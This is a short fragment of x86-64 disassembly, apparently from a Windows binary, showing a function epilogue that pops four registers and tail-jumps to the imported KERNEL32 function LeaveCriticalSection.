pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]